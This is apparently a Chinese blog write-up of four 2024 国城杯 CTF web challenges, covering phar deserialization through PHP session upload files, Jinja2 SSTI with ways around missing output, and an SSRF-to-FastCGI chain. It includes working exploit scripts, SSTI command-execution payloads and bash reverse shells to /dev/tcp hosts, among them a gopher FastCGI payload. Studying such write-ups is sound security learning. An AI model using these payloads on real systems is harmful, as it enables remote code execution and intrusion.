2024国城杯 Web

这四道题目Jasper大佬都做了镜像可以直接拉取进行复现

https://jaspersec.top/2024/12/16/0x12 国城杯2024 writeup with docker/

n0ob_un4er

这道题没有复现成功, 不知道为啥上传了文件, 也在 /tmp目录下生成了sess_PHPSESSID的文件, 但是就是无法写入内容, 文件的内容一直都是空白, 也直接用python的脚本一键运行, 显示了恶意phar已copy到/tmp/tmp.tmp , 但依旧没啥用, 搞不明白, 所以仅记录了解一下整个的一个过程, 加深了解session文件的利用

php 复制代码
<?php
$SECRET  = `/readsecret`;
include "waf.php";
class User {
    public $role;
    function __construct($role) {
        $this->role = $role;
    }
}
class Admin{
    public $code;
    function __construct($code) {
        $this->code = $code;
    }
    function __destruct() {
        echo "Admin can play everything!";
        eval($this->code);
    }
}
function game($filename) {
    if (!empty($filename)) {
        if (waf($filename) && @copy($filename , "/tmp/tmp.tmp")) {
            echo "Well done!";
        } else {
            echo "Copy failed.";
        }
    } else {
        echo "User can play copy game.";
    }
}
function set_session(){
    global $SECRET;
    $data = serialize(new User("user"));
    $hmac = hash_hmac("sha256", $data, $SECRET);
    setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
function check_session() {
    global $SECRET;
    $data = $_COOKIE["session-data"];
    list($data, $hmac) = explode("-----", $data, 2);
    if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac) || !hash_equals(hash_hmac("sha256", $data, $SECRET), $hmac)) {
        die("hacker!");
    }
    $data = unserialize($data);
    if ( $data->role === "user" ){
        game($_GET["filename"]);
    }else if($data->role === "admin"){
        return new Admin($_GET['code']);
    }
    return 0;
}
if (!isset($_COOKIE["session-data"])) {
    set_session();
    highlight_file(__FILE__);
}else{
    highlight_file(__FILE__);
    check_session();
}

无法直接通过session-data伪造admin身份进行命令执行( 因为使用了hmac-sha256签名算法, 且无法获取到$SECRET, )

开始能用的就是只有copy, 而copy是可以使用phar伪协议的, 只有能够反序列化Admin类就可以RCE, 所以要想到是利用phar打反序列化

phar反序列化需要有文件上传的点, 这里没有, 但可以将phar编码为字符串进行写入到文件里面去

所以需要找一个可控的文件, 一般可控的文件有临时文件, 日志文件, session文件, 但这里设置了open_basedir, 也就无法利用日志文件

临时文件无法知道文件名, 也无法利用, 所以这里可用的就是session文件了, 并且这里php版本为7.2,这个版本就算不开启session,只要上传了文件,并且在cookie传入了PHPSESSID,也会生成临时的session文件

最终思路:

上传文件, 然后在session的临时文件上写入编码后的phar文件, 然后利用filter伪协议将phar文件的内容还原写到 /tmp/tmp.tmp文件中, 最后利用phar伪协议解析, 触发反序列化进行 RCE

上传文件: php upload process可以在/tmp下生成部分内容可控的sess_<sessionid>文件

要有 PHPSESSID

在这个session文件里面开头都会存在 upload_proccess_

利用到php exit死亡绕过的知识点, 将不可控的部分消除掉

可控内容之前的upload_process_字段,添加aaaaaa后,三次base64即可置空

可控内容之后,用string.strip_tags过滤器可以全部清除掉,只需在可控部分之后加个<即可

最终payload构造:: aaaaaa+base64_encode(base64_encode(base64_encode(payload))) + <

这个payload是用于放在文件上传的PHP_SESSION_UPLOAD_PROGRESS下的内容

payload触发:

复制代码
?filename=php://filter/string.strip_tags|convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/[PHPSESSID]

到这里就实现了/tmp/tmp.tmp任意写

然后要构造phar文件内容

php 复制代码
<?php
    class Admin{
        public $code;
        function __construct($code) {
            $this->code = $code;
        }
    }
    @unlink("exp.phar");
    $phar = new Phar("exp.phar");                  // 后缀名必须为 phar,生成之后可以修改
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");  // 设置stub
    $o = new Admin("system(' bash -c \"bash -i >& /dev/tcp/*.*.*.*/9999 0>&1\"');");
    $phar->setMetadata($o);                         // 将自定义的 meta-data 存入 manifest
    $phar->addFromString("jasper", "123");       // 添加要压缩的文件
                                                    //签名自动计算
    $phar->stopBuffering();

    $pharContent = file_get_contents('exp.phar');
    $b64 = base64_encode(base64_encode(base64_encode($pharContent)));
    print("bbbbbb".$b64.htmlspecialchars('<'));
?>

python脚本

python 复制代码
import io
import requests
import threading
import time

sessid = 'jasper1'
# url = 'http://127.0.0.1:8888/index.php'
url = "http://125.70.243.22:31293/index.php"
## read flag
phar_payload = "bbbbbbVUVRNWQyRklRV2RZTVRsSlVWVjRWVmd3VGxCVVZrSktWRVZXVTB0RGF6ZEpSRGdyUkZGd2RFRkJRVUZCVVVGQlFVSkZRVUZCUVVKQlFVRkJRVUZCTlVGQlFVRlVlbTh4VDJsS1FscEhNWEJpYVVrMlRWUndOMk42YnpCUGFVcHFZakpTYkVscWRIcFBha2w1VDJsS2VtVllUakJhVnpCdlNuazVlVnBYUm10ak1sWnFZMjFXTUVwNWF6ZEphblE1UW1kQlFVRkhjR2hqTTBKc1kyZE5RVUZCUkU5d01WSnVRWGRCUVVGT1NtcFRTV2t5UVZGQlFVRkJRVUZCUkVWNVRTOWtkbll5V1hoSE5GaE9jRXBPTHpWWmFFWlBXRGx4ZUdFMGMwRm5RVUZCUldSRFZGVkpQUT09<"
# reverse shell
# phar_payload = "bbbbbbVUVRNWQyRklRV2RZTVRsSlVWVjRWVmd3VGxCVVZrSktWRVZXVTB0RGF6ZEpSRGdyUkZGeFdFRkJRVUZCVVVGQlFVSkZRVUZCUVVKQlFVRkJRVUZDYWtGQlFVRlVlbTh4VDJsS1FscEhNWEJpYVVrMlRWUndOMk42YnpCUGFVcHFZakpTYkVscWRIcFBhbGt3VDJsS2VtVllUakJhVnpCdlNubENhVmxZVG05SlF6RnFTVU5LYVZsWVRtOUpRekZ3U1VRMGJVbERPV3RhV0ZsMlpFZE9kMHg2UlhoT2FUUXlUV2swZWs5RE5ETk5VemcxVDFSck5VbEVRU3RLYWtWcFNubHJOMGxxZERsQ1owRkJRVWR3YUdNelFteGpaMDFCUVVGRFVqRnNVbTVCZDBGQlFVNUthbE5KYVRKQlVVRkJRVUZCUVVGRVJYbE5lV2xOVG5GMGFFaElOMmhyT0Uxa1EwZFJjM2hGY1hORE1XZDBRV2RCUVVGRlpFTlVWVWs5<"

# 全局事件,用于协调线程退出
stop_event = threading.Event()

def write_session_file(session):
    while not stop_event.is_set():
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            url,
            data={"PHP_SESSION_UPLOAD_PROGRESS": phar_payload},
            files={"file": ('q.txt', f)},
            cookies={'PHPSESSID': sessid}
        )

def copy_to_tmp(session):
    payload = "?filename=php://filter/string.strip_tags|convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/sess_" + sessid
    while not stop_event.is_set():
        res = requests.get(url + payload, cookies=session.cookies)
        if "Well done!" in res.text:
            print("[+] 恶意phar已copy到/tmp/tmp.tmp ...")
        else:
            print("[-] 拷贝失败!")
        if "flag" in res.text or "D0g3xGC" in res.text:
            stop_event.set()  ## 设置退出事件
            break

def unser_phar(session):
    payload = "?filename=phar:///tmp/tmp.tmp/jasper"
    while not stop_event.is_set():
        res = requests.get(url + payload, cookies=session.cookies)
        if "flag" in res.text or "D0g3xGC" in res.text:
            print(res.text)
            print("[+] 利用成功!")
            stop_event.set()  ## 设置退出事件
            break

session = requests.Session()

# 创建并启动线程
write_thread = threading.Thread(target=write_session_file, args=(session,))
write_thread.daemon = True
write_thread.start()

copy_thread = threading.Thread(target=copy_to_tmp, args=(session,))
copy_thread.daemon = True
copy_thread.start()

unser_thread = threading.Thread(target=unser_phar, args=(session,))
unser_thread.daemon = True
unser_thread.start()

# 主线程保持活跃,等待子线程结束
while not stop_event.is_set():
    time.sleep(1)

admin/123456登录进去

任意文件读取, 读取源码 app.py

python 复制代码
import jinja2
from pyramid.config import Configurator
from pyramid.httpexceptions import HTTPFound
from pyramid.response import Response
from pyramid.session import SignedCookieSessionFactory
from wsgiref.simple_server import make_server
from Captcha import captcha_image_view, captcha_store
import re
import os


class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password


users = {"admin": User("admin", "123456")}


def root_view(request):
    # 重定向到 /login
    return HTTPFound(location='/login')


def info_view(request):
    # 查看细节内容
    if request.session.get('username') != 'admin':
        return Response("请先登录", status=403)

    file_name = request.params.get('file')
    file_base, file_extension = os.path.splitext(file_name)

    if file_name:
        file_path = os.path.join('/app/static/details/', file_name)
        try:
            with open(file_path, 'r', encoding='utf-8') as f:
                content = f.read()
                print(content)
        except FileNotFoundError:
            content = "文件未找到。"
    else:
        content = "未提供文件名。"

    return {'file_name': file_name, 'content': content, 'file_base': file_base}


def home_view(request):
    # 主路由
    if request.session.get('username') != 'admin':
        return Response("请先登录", status=403)

    detailtxt = os.listdir('/app/static/details/')
    picture_list = [i[:i.index('.')] for i in detailtxt]
    file_contents = {}

    for picture in picture_list:
        with open(f"/app/static/details/{picture}.txt", "r", encoding='utf-8') as f:
            file_contents[picture] = f.read(80)

    return {'picture_list': picture_list, 'file_contents': file_contents}


def login_view(request):
    if request.method == 'POST':
        username = request.POST.get('username')
        password = request.POST.get('password')
        user_captcha = request.POST.get('captcha', '').upper()

        if user_captcha != captcha_store.get('captcha_text', ''):
            return Response("验证码错误,请重试。")

        user = users.get(username)
        if user and user.password == password:
            request.session['username'] = username
            return Response("登录成功!<a href='/home'>点击进入主页</a>")
        else:
            return Response("用户名或密码错误。")

    return {}


def shell_view(request):
    if request.session.get('username') != 'admin':
        return Response("请先登录", status=403)

    expression = request.GET.get('shellcmd', '')
    blacklist_patterns = [
        r'.*length.*', r'.*count.*', r'.*[0-9].*', r'.*\..*', r'.*soft.*', r'.*%.*'
    ]

    if any(re.search(pattern, expression) for pattern in blacklist_patterns):
        return Response('wafwafwaf')

    try:
        result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})
        if result is not None:
            return Response('success')
        else:
            return Response('error')
    except Exception as e:
        return Response('error')


def main():
    session_factory = SignedCookieSessionFactory('secret_key')

    with Configurator(session_factory=session_factory) as config:
        config.include('pyramid_chameleon')  # 添加渲染模板
        config.add_static_view(name='static', path='/app/static')
        config.set_default_permission('view')  # 设置默认权限为view

        # 注册路由
        config.add_route('root', '/')
        config.add_route('captcha', '/captcha')
        config.add_route('home', '/home')
        config.add_route('info', '/info')
        config.add_route('login', '/login')
        config.add_route('shell', '/shell')

        # 注册视图
        config.add_view(root_view, route_name='root')
        config.add_view(captcha_image_view, route_name='captcha')
        config.add_view(home_view, route_name='home', renderer='home.pt', permission='view')
        config.add_view(info_view, route_name='info', renderer='details.pt', permission='view')
        config.add_view(login_view, route_name='login', renderer='login.pt')
        config.add_view(shell_view, route_name='shell', renderer='string', permission='view')

        config.scan()
        app = config.make_wsgi_app()

    return app


if __name__ == "__main__":
    app = main()
    server = make_server('0.0.0.0', 6543, app)
    server.serve_forever()

黑名单:

jsx 复制代码
blacklist_patterns = [
        r'.*length.*', r'.*count.*', r'.*[0-9].*', r'.*\\..*', r'.*soft.*', r'.*%.*'
    ]

没有回显, 需要一些方法去拿到回显

官方wp:

python 复制代码
{{cycler.__init__.__globals__. __builtins__['exec']
("request.add_response_callback(lambda request, response: setattr(response, 'text',__import__('os').popen('whoami').read()))",{'request': request})}}

过滤了点 ., 需要绕过, 用[ ] 绕过

以及用getattr 绕过 request.add_response_callback ==> getattr(request,'add_response_callback')

python 复制代码
{{cycler['__init__']['__globals__']['__builtins__']['exec']("getattr(request,'add_response_callback')
(lambda request,response:setattr(response,'text',getattr(getattr(__import__('os'),'popen')('whoami'),'read')()))",{'request':request})}}

其他大佬的方法:

复制代码
{{cycler['__init__']['__globals__']['__builtins__']
['setattr'](cycler['__init__']['__globals__']['__builtins__']['__import__']
('sys')['modules']['wsgiref']['simple_server']
['ServerHandler'],'http_version',cycler['__init__']
['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']())}}

Jinja2-SSTI 新回显方式技术学习

从这道题目去学习了一下Jinja2-SSTI 新回显方式技术

环境搭建

app.py

python 复制代码
from flask import Flask, request,render_template, render_template_string
app = Flask(__name__)

@app.route('/', methods=["POST"])
def template():
        template = request.form.get("code")
        result=render_template_string(template)
        print(result)
        if result !=None:
            return "OK"
        else:
            return "error"

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=8000)
flask中的Server头回显

响应包里面的server头打印了Werkzeug和python的版本号, 可以利用它的值进行回显

大佬们的文章分析的很清楚, Server头的值是从self.version_string()出来的,而 version_string方法,其实就是直接将server_version属性和sys_version属性拼接在一起的

以属性的方式存放于类中, 那么就可以通过一些赋值的方式将我们的代码或者是命令执行的回显放在这个这个属性中, 从而随着请求头的send, 我们需要的回显就会出现在响应包里面

但是 WSGIRequestHandlerserver_version其实是方法

python 复制代码
class WSGIRequestHandler(BaseHTTPRequestHandler):

    server: BaseWSGIServer

    @property
    def server_version(self) -> str:  # type: ignore
        return self.server._server_version

是一个方法而不是属性, 好像无法通过利用 setattr 这种去进行赋值(因为lambda匿名函数表达式不被jinja2引擎解析)

但是它前面又有一个 @property ==> 它把方法包装成属性,让方法可以以属性的形式被访问和调用

所以我们可以直接给他赋str类型的值

关键是需要调用到 werkzeug.serving.WSGIRequestHandler 类, 使用 setattr 控制它的server_version属性的值

payload

python 复制代码
{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}}

# 这里的g是 flask 提供的一个全局变量
# sys 模块的 modules 属性以字典的形式包含了程序自开始运行时所有已加载过的模块, 从这里获取所需要的werkzeug模块, 从而获取到WSGIRequestHandler 对象

同理也可以换成 sys_version

HTTP协议回显

看到 send_response 方法

python 复制代码
def send_response(self, code, message=None):
"""Add the response header to the headers buffer and log the
response code.

Also send two standard headers with the server software
version and the current date.

"""
self.log_request(code)
self.send_response_only(code, message)
self.send_header('Server', self.version_string())
self.send_header('Date', self.date_time_string())

发送一些信息, 其实就是回显包里面的那些信息,

看到 send_response_only 方法

python 复制代码
def send_response_only(self, code, message=None):
"""Send the response header only."""
if self.request_version != 'HTTP/0.9':
    if message is None:
        if code in self.responses:
            message = self.responses[code][0]
        else:
            message = ''
    if not hasattr(self, '_headers_buffer'):
        self._headers_buffer = []
    self._headers_buffer.append(("%s %d %s\r\n" %
            (self.protocol_version, code, message)).encode(
                'latin-1', 'strict'))

可以看到这三个值都是页面上回显的值, 那么只要能够控制他们的值, 就可以得到我们想要的回显了

首先 protocol_version 它是 werkzeug.serving.WSGIRequestHandler 里面的一个属性,

所以需要获取到WSGIRequestHandler 对象
sys 模块的 modules 属性以字典的形式包含了程序自开始运行时所有已加载过的模块,可以直接从该属性中获取到目标模块

而获取sys模块的方式有很多种, 可以从__spec__的全局变量中获取

python 复制代码
{{lipsum.__spec__.__init__.__globals__}}

最终获取 WSGIRequestHandler 对象里面的 protocol_version 属性

python 复制代码
{{lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler.__dict__}}

然后就是使用 setattr 方法控制 protocol_version 属性的值

payload

python 复制代码
{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo xpw').read())}}

参考文章:
https://xz.aliyun.com/t/15780?time__1311=GqjxnQGQDQO4l6zG7DyDI2DfosHKwd43x

https://xz.aliyun.com/t/15994?time__1311=GqjxcD2DnAY4lxGghDyDIg8QrbCACEioD%#toc-7

signal

网站进去一个登录框, dirsearch扫一下目录

有一个/.index.php.swp

最近我朋友让我给他注册个账号,还想要在他的专属页面实现查看文件的功能。好吧,那就给他创个guest:MyF3iend,我是不可能给他我的admin账户的

拿到一个账号密码: guest:MyF3iend

登录进去, 观察到它的 url

存在一个任意文件读取漏洞, 因为之前扫目录可用扫到一个 admin.php ,直接读取会跳转到 index.php, 说明被执行了, 所以这里可以猜测是用了include函数来包含的 , 需要使用php伪协议绕过一下读取源码, 但是也过滤了挺多, 二次编码一下绕过

复制代码
?path=php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=admin.php

读取到admin.php

php 复制代码
<?php
session_start();
error_reporting(0);

if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {
    $_SESSION['error'] = 'Please fill in the username and password';
    header("Location: index.php");
    exit();
}

$url = $_POST['url'];
$error_message = '';
$page_content = '';

if (isset($url)) {
    if (!preg_match('/^https:\/\//', $url)) {
        $error_message = 'Invalid URL, only https allowed';
    } else {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        $page_content = curl_exec($ch);
        if ($page_content === false) {
            $error_message = 'Failed to fetch the URL content'.curl_error($ch);
        }
        curl_close($ch);
    }
}
?>

读一下guest.php, 存在waf的内容

php 复制代码
<?php
session_start();
error_reporting(0);

if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'guest' ) {
    $_SESSION['error'] = 'Please fill in the username and password';
    header('Location: index.php');
    exit();
}

if (!isset($_GET['path'])) {
    header("Location: /guest.php?path=/tmp/hello.php");
    exit;
}

$path = $_GET['path'];
if (preg_match('/(\.\.\/|php:\/\/tmp|string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|\_)/i', $path)) {
    echo "Don't do this";
}else{
    include($path);
}

?>

还是需要进入admin.php里面去, 需要拿到它的账号密码

在最初的登录界面那里可以发现一个 StoredAccounts.php 读取一下试试

StoredAccounts.php 给了admin的密码

php 复制代码
<?php
session_start();

$users = [
    'admin' => 'FetxRuFebAdm4nHace',
    'guest' => 'MyF3iend'
];

if (isset($_POST['username']) && isset($_POST['password'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    if (isset($users[$username]) && $users[$username] === $password) {
        $_SESSION['logged_in'] = true;
        $_SESSION['username'] = $username;

        if ($username === 'admin') {
            header('Location: admin.php');
        } else {
            header('Location: guest.php');
        }
        exit();
    } else {
        $_SESSION['error'] = 'Invalid username or password';
        header('Location: index.php');
        exit();
    }
} else {
    $_SESSION['error'] = 'Please fill in the username and password';
    header('Location: index.php');
    exit();
}

登录admin用户, 存在一个url参数打sstf, 但是只能限定是 https, vps要https打302, 没有域名的话借助ngrok工具, 在服务器上面使用这个工具可以创建一个临时网站

ngrok: https://download.ngrok.com/linux?tab=download

用于本地服务跳转的代码:

python 复制代码
from flask import Flask, redirect

app = Flask(__name__)

@app.route('/')
def indexRedirect():
    redirectUrl = 'http://[ip]/302.php'
    return redirect(redirectUrl)

if __name__ == '__main__':
    app.run('127.0.0.1', port=8080, debug=True)

ngrok用于搭建临时网站:

复制代码
ngrok http 8080

将这个传入url, 可以看到内容

接下来就是利用工具生成payload打fastcgi

改一下app.py 的url

可以看到已经执行了命令

那么接下来就是反弹shell了

同理app.py也相应的更改:

python 复制代码
from flask import Flask, redirect

app = Flask(__name__)

@app.route('/')
def indexRedirect():
    redirectUrl ='gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/[ip]/6666%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'
    return redirect(redirectUrl)

if __name__ == '__main__':
    app.run('127.0.0.1', port=8080, debug=True)

后面本来还有一个提权, 但是这个环境好像没有, 拿别的师傅的截图记录一下

复制代码
sudo cat /tmp/whereflag/../../../root/flag

参考文章:

复制代码
https://jaspersec.top/2024/12/16/0x12%20%E5%9B%BD%E5%9F%8E%E6%9D%AF2024%20writeup%20with%20docker/
https://www.cnblogs.com/Litsasuk/articles/18593334#%E5%87%BA%E9%A2%98%E5%8F%82%E8%80%83%E6%96%87%E7%AB%A0
https://www.cnblogs.com/dghh/p/18598149
相关推荐
一方~8 小时前
XML语言
xml·java·web
互联网搬砖老肖8 小时前
Web 架构之数据读写分离
前端·架构·web
小芝麻咿呀20 小时前
websocketd 10秒教程
websocket·web
忧虑的乌龟蛋5 天前
Qt实现网页内嵌
qt·web·msvc·网页·网页内嵌·qt界面·webenginewidget
越来越无动于衷10 天前
java web 过滤器
java·开发语言·servlet·web
90后小陈老师10 天前
WebXR教学 06 项目4 跳跃小游戏
3d·web·js
nuc-12711 天前
[ACTF2020 新生赛]BackupFile题解
web·ctf
ZZZKKKRTSAE12 天前
快速上手Linux的Web服务器的部署及优化
linux·运维·服务器·web
GeekABC12 天前
FastAPI系列06:FastAPI响应(Response)
开发语言·python·fastapi·web
一只程序烽.12 天前
err: Error: Request failed with status code 400
java·axios·web